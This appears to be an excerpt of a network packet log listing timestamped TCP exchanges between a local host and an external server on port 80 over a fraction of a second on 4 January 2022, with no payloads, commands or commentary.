Jan 4, 2022 19:33:51.650738955 CET	80	49875	141.8.193.236	192.168.2.5
Jan 4, 2022 19:33:51.650774956 CET	80	49875	141.8.193.236	192.168.2.5
Jan 4, 2022 19:33:51.650787115 CET	49875	80	192.168.2.5	141.8.193.236
Jan 4, 2022 19:33:51.650810003 CET	80	49875	141.8.193.236	192.168.2.5
Jan 4, 2022 19:33:51.650842905 CET	80	49875	141.8.193.236	192.168.2.5
Jan 4, 2022 19:33:51.650859118 CET	49875	80	192.168.2.5	141.8.193.236
Jan 4, 2022 19:33:51.650878906 CET	80	49875	141.8.193.236	192.168.2.5
Jan 4, 2022 19:33:51.650914907 CET	80	49875	141.8.193.236	192.168.2.5
Jan 4, 2022 19:33:51.650928020 CET	49875	80	192.168.2.5	141.8.193.236
Jan 4, 2022 19:33:51.650949955 CET	80	49875	141.8.193.236	192.168.2.5
Jan 4, 2022 19:33:51.650988102 CET	80	49875	141.8.193.236	192.168.2.5
Jan 4, 2022 19:33:51.651006937 CET	49875	80	192.168.2.5	141.8.193.236
Jan 4, 2022 19:33:51.651021004 CET	80	49875	141.8.193.236	192.168.2.5
Jan 4, 2022 19:33:51.651057005 CET	80	49875	141.8.193.236	192.168.2.5
Jan 4, 2022 19:33:51.651070118 CET	49875	80	192.168.2.5	141.8.193.236
Jan 4, 2022 19:33:51.651093006 CET	80	49875	141.8.193.236	192.168.2.5
Jan 4, 2022 19:33:51.651125908 CET	80	49875	141.8.193.236	192.168.2.5
Jan 4, 2022 19:33:51.651144028 CET	49875	80	192.168.2.5	141.8.193.236
Jan 4, 2022 19:33:51.651163101 CET	80	49875	141.8.193.236	192.168.2.5
Jan 4, 2022 19:33:51.651197910 CET	80	49875	141.8.193.236	192.168.2.5
Jan 4, 2022 19:33:51.651213884 CET	49875	80	192.168.2.5	141.8.193.236
Jan 4, 2022 19:33:51.651232958 CET	80	49875	141.8.193.236	192.168.2.5
Jan 4, 2022 19:33:51.651272058 CET	80	49875	141.8.193.236	192.168.2.5
Jan 4, 2022 19:33:51.651282072 CET	49875	80	192.168.2.5	141.8.193.236
Jan 4, 2022 19:33:51.651304960 CET	80	49875	141.8.193.236	192.168.2.5
Jan 4, 2022 19:33:51.651340961 CET	80	49875	141.8.193.236	192.168.2.5
Jan 4, 2022 19:33:51.651355028 CET	49875	80	192.168.2.5	141.8.193.236
Jan 4, 2022 19:33:51.651376963 CET	80	49875	141.8.193.236	192.168.2.5
Jan 4, 2022 19:33:51.651411057 CET	80	49875	141.8.193.236	192.168.2.5
Jan 4, 2022 19:33:51.651422024 CET	49875	80	192.168.2.5	141.8.193.236
Jan 4, 2022 19:33:51.651446104 CET	80	49875	141.8.193.236	192.168.2.5
Jan 4, 2022 19:33:51.651482105 CET	80	49875	141.8.193.236	192.168.2.5
Jan 4, 2022 19:33:51.651493073 CET	49875	80	192.168.2.5	141.8.193.236
Jan 4, 2022 19:33:51.651516914 CET	80	49875	141.8.193.236	192.168.2.5
Jan 4, 2022 19:33:51.651563883 CET	80	49875	141.8.193.236	192.168.2.5
Jan 4, 2022 19:33:51.651567936 CET	49875	80	192.168.2.5	141.8.193.236
Jan 4, 2022 19:33:51.651581049 CET	80	49875	141.8.193.236	192.168.2.5
Jan 4, 2022 19:33:51.651621103 CET	80	49875	141.8.193.236	192.168.2.5
Jan 4, 2022 19:33:51.651655912 CET	80	49875	141.8.193.236	192.168.2.5
Jan 4, 2022 19:33:51.651691914 CET	80	49875	141.8.193.236	192.168.2.5
Jan 4, 2022 19:33:51.651700020 CET	49875	80	192.168.2.5	141.8.193.236
Jan 4, 2022 19:33:51.651727915 CET	80	49875	141.8.193.236	192.168.2.5
Jan 4, 2022 19:33:51.651751041 CET	49875	80	192.168.2.5	141.8.193.236
Jan 4, 2022 19:33:51.651763916 CET	80	49875	141.8.193.236	192.168.2.5
Jan 4, 2022 19:33:51.651773930 CET	49875	80	192.168.2.5	141.8.193.236
Jan 4, 2022 19:33:51.651802063 CET	80	49875	141.8.193.236	192.168.2.5
Jan 4, 2022 19:33:51.651843071 CET	80	49875	141.8.193.236	192.168.2.5
Jan 4, 2022 19:33:51.651856899 CET	49875	80	192.168.2.5	141.8.193.236
Jan 4, 2022 19:33:51.651879072 CET	80	49875	141.8.193.236	192.168.2.5
Jan 4, 2022 19:33:51.651916981 CET	80	49875	141.8.193.236	192.168.2.5
Jan 4, 2022 19:33:51.651946068 CET	80	49875	141.8.193.236	192.168.2.5
Jan 4, 2022 19:33:51.651973963 CET	80	49875	141.8.193.236	192.168.2.5
Jan 4, 2022 19:33:51.651993990 CET	49875	80	192.168.2.5	141.8.193.236
Jan 4, 2022 19:33:51.652009964 CET	80	49875	141.8.193.236	192.168.2.5
Jan 4, 2022 19:33:51.652038097 CET	49875	80	192.168.2.5	141.8.193.236
Jan 4, 2022 19:33:51.652045965 CET	80	49875	141.8.193.236	192.168.2.5
Jan 4, 2022 19:33:51.652056932 CET	49875	80	192.168.2.5	141.8.193.236
Jan 4, 2022 19:33:51.652082920 CET	80	49875	141.8.193.236	192.168.2.5
Jan 4, 2022 19:33:51.652117014 CET	80	49875	141.8.193.236	192.168.2.5
Jan 4, 2022 19:33:51.652139902 CET	49875	80	192.168.2.5	141.8.193.236
Jan 4, 2022 19:33:51.652152061 CET	80	49875	141.8.193.236	192.168.2.5
Jan 4, 2022 19:33:51.652229071 CET	49875	80	192.168.2.5	141.8.193.236
Jan 4, 2022 19:33:51.676558018 CET	49875	80	192.168.2.5	141.8.193.236
Jan 4, 2022 19:33:51.697124958 CET	80	49875	141.8.193.236	192.168.2.5
Jan 4, 2022 19:33:51.697175980 CET	80	49875	141.8.193.236	192.168.2.5
Jan 4, 2022 19:33:51.697216034 CET	80	49875	141.8.193.236	192.168.2.5
Jan 4, 2022 19:33:51.697246075 CET	80	49875	141.8.193.236	192.168.2.5
Jan 4, 2022 19:33:51.697278023 CET	80	49875	141.8.193.236	192.168.2.5
Jan 4, 2022 19:33:51.697364092 CET	49875	80	192.168.2.5	141.8.193.236
Jan 4, 2022 19:33:51.698518038 CET	80	49875	141.8.193.236	192.168.2.5
Jan 4, 2022 19:33:51.698559999 CET	80	49875	141.8.193.236	192.168.2.5
Jan 4, 2022 19:33:51.698600054 CET	49875	80	192.168.2.5	141.8.193.236
Jan 4, 2022 19:33:51.698601007 CET	80	49875	141.8.193.236	192.168.2.5
Jan 4, 2022 19:33:51.698637962 CET	80	49875	141.8.193.236	192.168.2.5
Jan 4, 2022 19:33:51.698652029 CET	49875	80	192.168.2.5	141.8.193.236
Jan 4, 2022 19:33:51.698676109 CET	80	49875	141.8.193.236	192.168.2.5
Jan 4, 2022 19:33:51.698715925 CET	80	49875	141.8.193.236	192.168.2.5
Jan 4, 2022 19:33:51.698730946 CET	49875	80	192.168.2.5	141.8.193.236
Jan 4, 2022 19:33:51.698754072 CET	80	49875	141.8.193.236	192.168.2.5
Jan 4, 2022 19:33:51.698792934 CET	80	49875	141.8.193.236	192.168.2.5
Jan 4, 2022 19:33:51.698798895 CET	49875	80	192.168.2.5	141.8.193.236
Jan 4, 2022 19:33:51.698868036 CET	80	49875	141.8.193.236	192.168.2.5
Jan 4, 2022 19:33:51.698915958 CET	49875	80	192.168.2.5	141.8.193.236
Jan 4, 2022 19:33:51.698924065 CET	80	49875	141.8.193.236	192.168.2.5
Jan 4, 2022 19:33:51.698987007 CET	80	49875	141.8.193.236	192.168.2.5
Jan 4, 2022 19:33:51.699034929 CET	49875	80	192.168.2.5	141.8.193.236
Jan 4, 2022 19:33:51.699047089 CET	80	49875	141.8.193.236	192.168.2.5
Jan 4, 2022 19:33:51.699107885 CET	80	49875	141.8.193.236	192.168.2.5
Jan 4, 2022 19:33:51.699160099 CET	49875	80	192.168.2.5	141.8.193.236
Jan 4, 2022 19:33:51.699170113 CET	80	49875	141.8.193.236	192.168.2.5
Jan 4, 2022 19:33:51.699227095 CET	80	49875	141.8.193.236	192.168.2.5
Jan 4, 2022 19:33:51.699275970 CET	49875	80	192.168.2.5	141.8.193.236
Jan 4, 2022 19:33:51.699287891 CET	80	49875	141.8.193.236	192.168.2.5
Jan 4, 2022 19:33:51.699347973 CET	80	49875	141.8.193.236	192.168.2.5
Jan 4, 2022 19:33:51.699398994 CET	49875	80	192.168.2.5	141.8.193.236
Jan 4, 2022 19:33:51.699404955 CET	80	49875	141.8.193.236	192.168.2.5
Jan 4, 2022 19:33:51.699464083 CET	80	49875	141.8.193.236	192.168.2.5
Jan 4, 2022 19:33:51.699513912 CET	49875	80	192.168.2.5	141.8.193.236
Jan 4, 2022 19:33:51.699522972 CET	80	49875	141.8.193.236	192.168.2.5
Jan 4, 2022 19:33:51.699580908 CET	80	49875	141.8.193.236	192.168.2.5
Jan 4, 2022 19:33:51.699630022 CET	49875	80	192.168.2.5	141.8.193.236
Jan 4, 2022 19:33:51.699641943 CET	80	49875	141.8.193.236	192.168.2.5
Jan 4, 2022 19:33:51.699697971 CET	80	49875	141.8.193.236	192.168.2.5
Jan 4, 2022 19:33:51.699743986 CET	49875	80	192.168.2.5	141.8.193.236
Jan 4, 2022 19:33:51.699759007 CET	80	49875	141.8.193.236	192.168.2.5
Jan 4, 2022 19:33:51.699820995 CET	80	49875	141.8.193.236	192.168.2.5
Jan 4, 2022 19:33:51.699867010 CET	49875	80	192.168.2.5	141.8.193.236
Jan 4, 2022 19:33:51.699878931 CET	80	49875	141.8.193.236	192.168.2.5
Jan 4, 2022 19:33:51.699938059 CET	80	49875	141.8.193.236	192.168.2.5
Jan 4, 2022 19:33:51.699990988 CET	49875	80	192.168.2.5	141.8.193.236
Jan 4, 2022 19:33:51.700001001 CET	80	49875	141.8.193.236	192.168.2.5
Jan 4, 2022 19:33:51.700062990 CET	80	49875	141.8.193.236	192.168.2.5
Jan 4, 2022 19:33:51.700117111 CET	49875	80	192.168.2.5	141.8.193.236
Jan 4, 2022 19:33:51.700124979 CET	80	49875	141.8.193.236	192.168.2.5
Jan 4, 2022 19:33:51.700185061 CET	80	49875	141.8.193.236	192.168.2.5
Jan 4, 2022 19:33:51.700236082 CET	49875	80	192.168.2.5	141.8.193.236
Jan 4, 2022 19:33:51.700247049 CET	80	49875	141.8.193.236	192.168.2.5
Jan 4, 2022 19:33:51.700306892 CET	80	49875	141.8.193.236	192.168.2.5
Jan 4, 2022 19:33:51.700356007 CET	49875	80	192.168.2.5	141.8.193.236
Jan 4, 2022 19:33:51.700367928 CET	80	49875	141.8.193.236	192.168.2.5
Jan 4, 2022 19:33:51.700428009 CET	80	49875	141.8.193.236	192.168.2.5
Jan 4, 2022 19:33:51.700479031 CET	49875	80	192.168.2.5	141.8.193.236
Jan 4, 2022 19:33:51.700489044 CET	80	49875	141.8.193.236	192.168.2.5
Jan 4, 2022 19:33:51.700551987 CET	80	49875	141.8.193.236	192.168.2.5
Jan 4, 2022 19:33:51.700601101 CET	49875	80	192.168.2.5	141.8.193.236
Jan 4, 2022 19:33:51.700612068 CET	80	49875	141.8.193.236	192.168.2.5
Jan 4, 2022 19:33:51.700670958 CET	80	49875	141.8.193.236	192.168.2.5
Jan 4, 2022 19:33:51.700723886 CET	49875	80	192.168.2.5	141.8.193.236
Jan 4, 2022 19:33:51.700731039 CET	80	49875	141.8.193.236	192.168.2.5
Jan 4, 2022 19:33:51.700776100 CET	80	49875	141.8.193.236	192.168.2.5
Jan 4, 2022 19:33:51.700813055 CET	80	49875	141.8.193.236	192.168.2.5
Jan 4, 2022 19:33:51.700826883 CET	49875	80	192.168.2.5	141.8.193.236
Jan 4, 2022 19:33:51.700879097 CET	80	49875	141.8.193.236	192.168.2.5
Jan 4, 2022 19:33:51.700921059 CET	80	49875	141.8.193.236	192.168.2.5
Jan 4, 2022 19:33:51.700930119 CET	49875	80	192.168.2.5	141.8.193.236
Jan 4, 2022 19:33:51.700965881 CET	80	49875	141.8.193.236	192.168.2.5
Jan 4, 2022 19:33:51.701010942 CET	49875	80	192.168.2.5	141.8.193.236
Jan 4, 2022 19:33:51.701020002 CET	80	49875	141.8.193.236	192.168.2.5
Jan 4, 2022 19:33:51.701076984 CET	80	49875	141.8.193.236	192.168.2.5
Jan 4, 2022 19:33:51.701119900 CET	80	49875	141.8.193.236	192.168.2.5
Jan 4, 2022 19:33:51.701129913 CET	49875	80	192.168.2.5	141.8.193.236
Jan 4, 2022 19:33:51.701158047 CET	80	49875	141.8.193.236	192.168.2.5
Jan 4, 2022 19:33:51.701196909 CET	80	49875	141.8.193.236	192.168.2.5
Jan 4, 2022 19:33:51.701208115 CET	49875	80	192.168.2.5	141.8.193.236
Jan 4, 2022 19:33:51.701234102 CET	80	49875	141.8.193.236	192.168.2.5
Jan 4, 2022 19:33:51.701273918 CET	80	49875	141.8.193.236	192.168.2.5
Jan 4, 2022 19:33:51.701281071 CET	49875	80	192.168.2.5	141.8.193.236
Jan 4, 2022 19:33:51.701312065 CET	80	49875	141.8.193.236	192.168.2.5
Jan 4, 2022 19:33:51.701351881 CET	80	49875	141.8.193.236	192.168.2.5
Jan 4, 2022 19:33:51.701364994 CET	49875	80	192.168.2.5	141.8.193.236
Jan 4, 2022 19:33:51.701391935 CET	80	49875	141.8.193.236	192.168.2.5
Jan 4, 2022 19:33:51.701430082 CET	80	49875	141.8.193.236	192.168.2.5
Jan 4, 2022 19:33:51.701442003 CET	49875	80	192.168.2.5	141.8.193.236
Jan 4, 2022 19:33:51.701468945 CET	80	49875	141.8.193.236	192.168.2.5
Jan 4, 2022 19:33:51.701507092 CET	80	49875	141.8.193.236	192.168.2.5
Jan 4, 2022 19:33:51.701518059 CET	49875	80	192.168.2.5	141.8.193.236
Jan 4, 2022 19:33:51.701544046 CET	80	49875	141.8.193.236	192.168.2.5
Jan 4, 2022 19:33:51.701581955 CET	80	49875	141.8.193.236	192.168.2.5
Jan 4, 2022 19:33:51.701592922 CET	49875	80	192.168.2.5	141.8.193.236
Jan 4, 2022 19:33:51.701622963 CET	80	49875	141.8.193.236	192.168.2.5
Jan 4, 2022 19:33:51.701661110 CET	80	49875	141.8.193.236	192.168.2.5
Jan 4, 2022 19:33:51.701666117 CET	49875	80	192.168.2.5	141.8.193.236
Jan 4, 2022 19:33:51.701699972 CET	80	49875	141.8.193.236	192.168.2.5
Jan 4, 2022 19:33:51.701738119 CET	80	49875	141.8.193.236	192.168.2.5
Jan 4, 2022 19:33:51.701747894 CET	49875	80	192.168.2.5	141.8.193.236
Jan 4, 2022 19:33:51.701776028 CET	80	49875	141.8.193.236	192.168.2.5
Jan 4, 2022 19:33:51.701814890 CET	80	49875	141.8.193.236	192.168.2.5
Jan 4, 2022 19:33:51.701826096 CET	49875	80	192.168.2.5	141.8.193.236
Jan 4, 2022 19:33:51.701852083 CET	80	49875	141.8.193.236	192.168.2.5
Jan 4, 2022 19:33:51.701890945 CET	80	49875	141.8.193.236	192.168.2.5
Jan 4, 2022 19:33:51.701894045 CET	49875	80	192.168.2.5	141.8.193.236
Jan 4, 2022 19:33:51.701932907 CET	80	49875	141.8.193.236	192.168.2.5
Jan 4, 2022 19:33:51.701972008 CET	80	49875	141.8.193.236	192.168.2.5
Jan 4, 2022 19:33:51.701986074 CET	49875	80	192.168.2.5	141.8.193.236
Jan 4, 2022 19:33:51.702013969 CET	80	49875	141.8.193.236	192.168.2.5
Jan 4, 2022 19:33:51.702053070 CET	80	49875	141.8.193.236	192.168.2.5
Jan 4, 2022 19:33:51.702063084 CET	49875	80	192.168.2.5	141.8.193.236
Jan 4, 2022 19:33:51.702091932 CET	80	49875	141.8.193.236	192.168.2.5
Jan 4, 2022 19:33:51.702131033 CET	80	49875	141.8.193.236	192.168.2.5
Jan 4, 2022 19:33:51.702142000 CET	49875	80	192.168.2.5	141.8.193.236
Jan 4, 2022 19:33:51.702167988 CET	80	49875	141.8.193.236	192.168.2.5
Jan 4, 2022 19:33:51.702208042 CET	80	49875	141.8.193.236	192.168.2.5
Jan 4, 2022 19:33:51.702219009 CET	49875	80	192.168.2.5	141.8.193.236
Jan 4, 2022 19:33:51.702245951 CET	80	49875	141.8.193.236	192.168.2.5
Jan 4, 2022 19:33:51.702285051 CET	80	49875	141.8.193.236	192.168.2.5
Jan 4, 2022 19:33:51.702301025 CET	49875	80	192.168.2.5	141.8.193.236
Jan 4, 2022 19:33:51.702323914 CET	80	49875	141.8.193.236	192.168.2.5
Jan 4, 2022 19:33:51.702364922 CET	80	49875	141.8.193.236	192.168.2.5
Jan 4, 2022 19:33:51.702385902 CET	49875	80	192.168.2.5	141.8.193.236
Jan 4, 2022 19:33:51.702404976 CET	80	49875	141.8.193.236	192.168.2.5
Jan 4, 2022 19:33:51.702444077 CET	80	49875	141.8.193.236	192.168.2.5
Jan 4, 2022 19:33:51.702464104 CET	49875	80	192.168.2.5	141.8.193.236
Jan 4, 2022 19:33:51.702481031 CET	80	49875	141.8.193.236	192.168.2.5
Jan 4, 2022 19:33:51.702519894 CET	80	49875	141.8.193.236	192.168.2.5
Jan 4, 2022 19:33:51.702526093 CET	49875	80	192.168.2.5	141.8.193.236
Jan 4, 2022 19:33:51.702559948 CET	80	49875	141.8.193.236	192.168.2.5
Jan 4, 2022 19:33:51.702599049 CET	80	49875	141.8.193.236	192.168.2.5
Jan 4, 2022 19:33:51.702606916 CET	49875	80	192.168.2.5	141.8.193.236
Jan 4, 2022 19:33:51.702640057 CET	80	49875	141.8.193.236	192.168.2.5
Jan 4, 2022 19:33:51.702677011 CET	80	49875	141.8.193.236	192.168.2.5
Jan 4, 2022 19:33:51.702714920 CET	80	49875	141.8.193.236	192.168.2.5
Jan 4, 2022 19:33:51.702718019 CET	49875	80	192.168.2.5	141.8.193.236
Jan 4, 2022 19:33:51.702754021 CET	80	49875	141.8.193.236	192.168.2.5
Jan 4, 2022 19:33:51.702773094 CET	49875	80	192.168.2.5	141.8.193.236
Jan 4, 2022 19:33:51.702810049 CET	80	49875	141.8.193.236	192.168.2.5
Jan 4, 2022 19:33:51.702848911 CET	80	49875	141.8.193.236	192.168.2.5
Jan 4, 2022 19:33:51.702887058 CET	80	49875	141.8.193.236	192.168.2.5
Jan 4, 2022 19:33:51.702893972 CET	49875	80	192.168.2.5	141.8.193.236
Jan 4, 2022 19:33:51.702925920 CET	80	49875	141.8.193.236	192.168.2.5
Jan 4, 2022 19:33:51.702938080 CET	49875	80	192.168.2.5	141.8.193.236
Jan 4, 2022 19:33:51.702965021 CET	80	49875	141.8.193.236	192.168.2.5
Jan 4, 2022 19:33:51.703002930 CET	80	49875	141.8.193.236	192.168.2.5
Jan 4, 2022 19:33:51.703015089 CET	49875	80	192.168.2.5	141.8.193.236
Jan 4, 2022 19:33:51.703042030 CET	80	49875	141.8.193.236	192.168.2.5
Jan 4, 2022 19:33:51.703083038 CET	80	49875	141.8.193.236	192.168.2.5
Jan 4, 2022 19:33:51.703090906 CET	49875	80	192.168.2.5	141.8.193.236
Jan 4, 2022 19:33:51.703120947 CET	80	49875	141.8.193.236	192.168.2.5
Jan 4, 2022 19:33:51.703159094 CET	80	49875	141.8.193.236	192.168.2.5
Jan 4, 2022 19:33:51.703172922 CET	49875	80	192.168.2.5	141.8.193.236
Jan 4, 2022 19:33:51.703198910 CET	80	49875	141.8.193.236	192.168.2.5
Jan 4, 2022 19:33:51.703259945 CET	49875	80	192.168.2.5	141.8.193.236
Jan 4, 2022 19:33:51.704224110 CET	49875	80	192.168.2.5	141.8.193.236
Jan 4, 2022 19:33:51.708955050 CET	80	49875	141.8.193.236	192.168.2.5
Jan 4, 2022 19:33:51.709026098 CET	80	49875	141.8.193.236	192.168.2.5
Jan 4, 2022 19:33:51.709069014 CET	80	49875	141.8.193.236	192.168.2.5
Jan 4, 2022 19:33:51.709105968 CET	80	49875	141.8.193.236	192.168.2.5
Jan 4, 2022 19:33:51.709112883 CET	49875	80	192.168.2.5	141.8.193.236
Jan 4, 2022 19:33:51.709146023 CET	80	49875	141.8.193.236	192.168.2.5
Jan 4, 2022 19:33:51.709186077 CET	80	49875	141.8.193.236	192.168.2.5
Jan 4, 2022 19:33:51.709187031 CET	49875	80	192.168.2.5	141.8.193.236
Jan 4, 2022 19:33:51.709223032 CET	80	49875	141.8.193.236	192.168.2.5
Jan 4, 2022 19:33:51.709244013 CET	49875	80	192.168.2.5	141.8.193.236
Jan 4, 2022 19:33:51.709260941 CET	80	49875	141.8.193.236	192.168.2.5
Jan 4, 2022 19:33:51.709299088 CET	80	49875	141.8.193.236	192.168.2.5
Jan 4, 2022 19:33:51.709336996 CET	80	49875	141.8.193.236	192.168.2.5
Jan 4, 2022 19:33:51.709361076 CET	49875	80	192.168.2.5	141.8.193.236
Jan 4, 2022 19:33:51.709377050 CET	80	49875	141.8.193.236	192.168.2.5
Jan 4, 2022 19:33:51.709388018 CET	49875	80	192.168.2.5	141.8.193.236
Jan 4, 2022 19:33:51.709414005 CET	80	49875	141.8.193.236	192.168.2.5
Jan 4, 2022 19:33:51.709453106 CET	80	49875	141.8.193.236	192.168.2.5
Jan 4, 2022 19:33:51.709467888 CET	49875	80	192.168.2.5	141.8.193.236
Jan 4, 2022 19:33:51.709491968 CET	80	49875	141.8.193.236	192.168.2.5
Jan 4, 2022 19:33:51.709536076 CET	80	49875	141.8.193.236	192.168.2.5
Jan 4, 2022 19:33:51.709554911 CET	49875	80	192.168.2.5	141.8.193.236
Jan 4, 2022 19:33:51.709563971 CET	80	49875	141.8.193.236	192.168.2.5
Jan 4, 2022 19:33:51.709594011 CET	80	49875	141.8.193.236	192.168.2.5
Jan 4, 2022 19:33:51.709614038 CET	49875	80	192.168.2.5	141.8.193.236
Jan 4, 2022 19:33:51.714339018 CET	80	49875	141.8.193.236	192.168.2.5
Jan 4, 2022 19:33:51.714374065 CET	80	49875	141.8.193.236	192.168.2.5
Jan 4, 2022 19:33:51.714404106 CET	80	49875	141.8.193.236	192.168.2.5
Jan 4, 2022 19:33:51.714432001 CET	80	49875	141.8.193.236	192.168.2.5
Jan 4, 2022 19:33:51.714461088 CET	80	49875	141.8.193.236	192.168.2.5
Jan 4, 2022 19:33:51.714473963 CET	49875	80	192.168.2.5	141.8.193.236
Jan 4, 2022 19:33:51.714490891 CET	80	49875	141.8.193.236	192.168.2.5
Jan 4, 2022 19:33:51.714519978 CET	80	49875	141.8.193.236	192.168.2.5
Jan 4, 2022 19:33:51.714524984 CET	49875	80	192.168.2.5	141.8.193.236
Jan 4, 2022 19:33:51.714549065 CET	80	49875	141.8.193.236	192.168.2.5
Jan 4, 2022 19:33:51.714553118 CET	49875	80	192.168.2.5	141.8.193.236
Jan 4, 2022 19:33:51.714576960 CET	80	49875	141.8.193.236	192.168.2.5
Jan 4, 2022 19:33:51.714577913 CET	49875	80	192.168.2.5	141.8.193.236
Jan 4, 2022 19:33:51.714607000 CET	80	49875	141.8.193.236	192.168.2.5
Jan 4, 2022 19:33:51.714627981 CET	49875	80	192.168.2.5	141.8.193.236
Jan 4, 2022 19:33:51.714637041 CET	80	49875	141.8.193.236	192.168.2.5
Jan 4, 2022 19:33:51.714664936 CET	80	49875	141.8.193.236	192.168.2.5
Jan 4, 2022 19:33:51.714684010 CET	49875	80	192.168.2.5	141.8.193.236
Jan 4, 2022 19:33:51.714693069 CET	80	49875	141.8.193.236	192.168.2.5
Jan 4, 2022 19:33:51.714721918 CET	80	49875	141.8.193.236	192.168.2.5
Jan 4, 2022 19:33:51.714745998 CET	49875	80	192.168.2.5	141.8.193.236
Jan 4, 2022 19:33:51.714747906 CET	80	49875	141.8.193.236	192.168.2.5
Jan 4, 2022 19:33:51.714776993 CET	80	49875	141.8.193.236	192.168.2.5
Jan 4, 2022 19:33:51.714795113 CET	49875	80	192.168.2.5	141.8.193.236
Jan 4, 2022 19:33:51.714807034 CET	80	49875	141.8.193.236	192.168.2.5
Jan 4, 2022 19:33:51.714835882 CET	80	49875	141.8.193.236	192.168.2.5
Jan 4, 2022 19:33:51.714854956 CET	49875	80	192.168.2.5	141.8.193.236
Jan 4, 2022 19:33:51.714865923 CET	80	49875	141.8.193.236	192.168.2.5
Jan 4, 2022 19:33:51.714894056 CET	80	49875	141.8.193.236	192.168.2.5
Jan 4, 2022 19:33:51.714914083 CET	49875	80	192.168.2.5	141.8.193.236
Jan 4, 2022 19:33:51.714922905 CET	80	49875	141.8.193.236	192.168.2.5
Jan 4, 2022 19:33:51.714951038 CET	80	49875	141.8.193.236	192.168.2.5
Jan 4, 2022 19:33:51.714971066 CET	49875	80	192.168.2.5	141.8.193.236
Jan 4, 2022 19:33:51.714979887 CET	80	49875	141.8.193.236	192.168.2.5
Jan 4, 2022 19:33:51.715029001 CET	49875	80	192.168.2.5	141.8.193.236
Jan 4, 2022 19:33:51.715095997 CET	80	49875	141.8.193.236	192.168.2.5
Jan 4, 2022 19:33:51.715125084 CET	80	49875	141.8.193.236	192.168.2.5
Jan 4, 2022 19:33:51.715152979 CET	80	49875	141.8.193.236	192.168.2.5
Jan 4, 2022 19:33:51.715176105 CET	49875	80	192.168.2.5	141.8.193.236
Jan 4, 2022 19:33:51.715179920 CET	80	49875	141.8.193.236	192.168.2.5
Jan 4, 2022 19:33:51.715200901 CET	49875	80	192.168.2.5	141.8.193.236
Jan 4, 2022 19:33:51.715208054 CET	80	49875	141.8.193.236	192.168.2.5
Jan 4, 2022 19:33:51.715224981 CET	49875	80	192.168.2.5	141.8.193.236
Jan 4, 2022 19:33:51.715251923 CET	49875	80	192.168.2.5	141.8.193.236
Jan 4, 2022 19:33:51.715272903 CET	80	49875	141.8.193.236	192.168.2.5
Jan 4, 2022 19:33:51.715301991 CET	80	49875	141.8.193.236	192.168.2.5
Jan 4, 2022 19:33:51.715322971 CET	49875	80	192.168.2.5	141.8.193.236
Jan 4, 2022 19:33:51.715332985 CET	80	49875	141.8.193.236	192.168.2.5
Jan 4, 2022 19:33:51.715349913 CET	49875	80	192.168.2.5	141.8.193.236
Jan 4, 2022 19:33:51.715362072 CET	80	49875	141.8.193.236	192.168.2.5
Jan 4, 2022 19:33:51.715380907 CET	49875	80	192.168.2.5	141.8.193.236
Jan 4, 2022 19:33:51.715390921 CET	80	49875	141.8.193.236	192.168.2.5
Jan 4, 2022 19:33:51.715408087 CET	49875	80	192.168.2.5	141.8.193.236
Jan 4, 2022 19:33:51.715420008 CET	80	49875	141.8.193.236	192.168.2.5
Jan 4, 2022 19:33:51.715436935 CET	49875	80	192.168.2.5	141.8.193.236
Jan 4, 2022 19:33:51.715449095 CET	80	49875	141.8.193.236	192.168.2.5
Jan 4, 2022 19:33:51.715465069 CET	49875	80	192.168.2.5	141.8.193.236
Jan 4, 2022 19:33:51.715478897 CET	80	49875	141.8.193.236	192.168.2.5
Jan 4, 2022 19:33:51.715496063 CET	49875	80	192.168.2.5	141.8.193.236
Jan 4, 2022 19:33:51.715507984 CET	80	49875	141.8.193.236	192.168.2.5
Jan 4, 2022 19:33:51.715527058 CET	49875	80	192.168.2.5	141.8.193.236
Jan 4, 2022 19:33:51.715534925 CET	80	49875	141.8.193.236	192.168.2.5
Jan 4, 2022 19:33:51.715560913 CET	49875	80	192.168.2.5	141.8.193.236
Jan 4, 2022 19:33:51.715563059 CET	80	49875	141.8.193.236	192.168.2.5
Jan 4, 2022 19:33:51.715591908 CET	80	49875	141.8.193.236	192.168.2.5
Jan 4, 2022 19:33:51.715612888 CET	49875	80	192.168.2.5	141.8.193.236
Jan 4, 2022 19:33:51.715619087 CET	80	49875	141.8.193.236	192.168.2.5
Jan 4, 2022 19:33:51.715647936 CET	80	49875	141.8.193.236	192.168.2.5
Jan 4, 2022 19:33:51.715665102 CET	49875	80	192.168.2.5	141.8.193.236
Jan 4, 2022 19:33:51.715676069 CET	80	49875	141.8.193.236	192.168.2.5
Jan 4, 2022 19:33:51.715703964 CET	80	49875	141.8.193.236	192.168.2.5
Jan 4, 2022 19:33:51.715724945 CET	49875	80	192.168.2.5	141.8.193.236
Jan 4, 2022 19:33:51.715733051 CET	80	49875	141.8.193.236	192.168.2.5
Jan 4, 2022 19:33:51.715760946 CET	80	49875	141.8.193.236	192.168.2.5
Jan 4, 2022 19:33:51.715783119 CET	49875	80	192.168.2.5	141.8.193.236
Jan 4, 2022 19:33:51.715789080 CET	80	49875	141.8.193.236	192.168.2.5
Jan 4, 2022 19:33:51.715817928 CET	80	49875	141.8.193.236	192.168.2.5
Jan 4, 2022 19:33:51.715836048 CET	49875	80	192.168.2.5	141.8.193.236
Jan 4, 2022 19:33:51.715843916 CET	80	49875	141.8.193.236	192.168.2.5
Jan 4, 2022 19:33:51.715873003 CET	80	49875	141.8.193.236	192.168.2.5
Jan 4, 2022 19:33:51.715898991 CET	49875	80	192.168.2.5	141.8.193.236
Jan 4, 2022 19:33:51.715910912 CET	80	49875	141.8.193.236	192.168.2.5
Jan 4, 2022 19:33:51.715939999 CET	80	49875	141.8.193.236	192.168.2.5
Jan 4, 2022 19:33:51.715960979 CET	49875	80	192.168.2.5	141.8.193.236
Jan 4, 2022 19:33:51.715967894 CET	80	49875	141.8.193.236	192.168.2.5
Jan 4, 2022 19:33:51.715996981 CET	80	49875	141.8.193.236	192.168.2.5
Jan 4, 2022 19:33:51.716017962 CET	49875	80	192.168.2.5	141.8.193.236
Jan 4, 2022 19:33:51.716026068 CET	80	49875	141.8.193.236	192.168.2.5
Jan 4, 2022 19:33:51.716056108 CET	80	49875	141.8.193.236	192.168.2.5
Jan 4, 2022 19:33:51.716074944 CET	49875	80	192.168.2.5	141.8.193.236
Jan 4, 2022 19:33:51.716083050 CET	80	49875	141.8.193.236	192.168.2.5
Jan 4, 2022 19:33:51.716125011 CET	80	49875	141.8.193.236	192.168.2.5
Jan 4, 2022 19:33:51.716140985 CET	49875	80	192.168.2.5	141.8.193.236
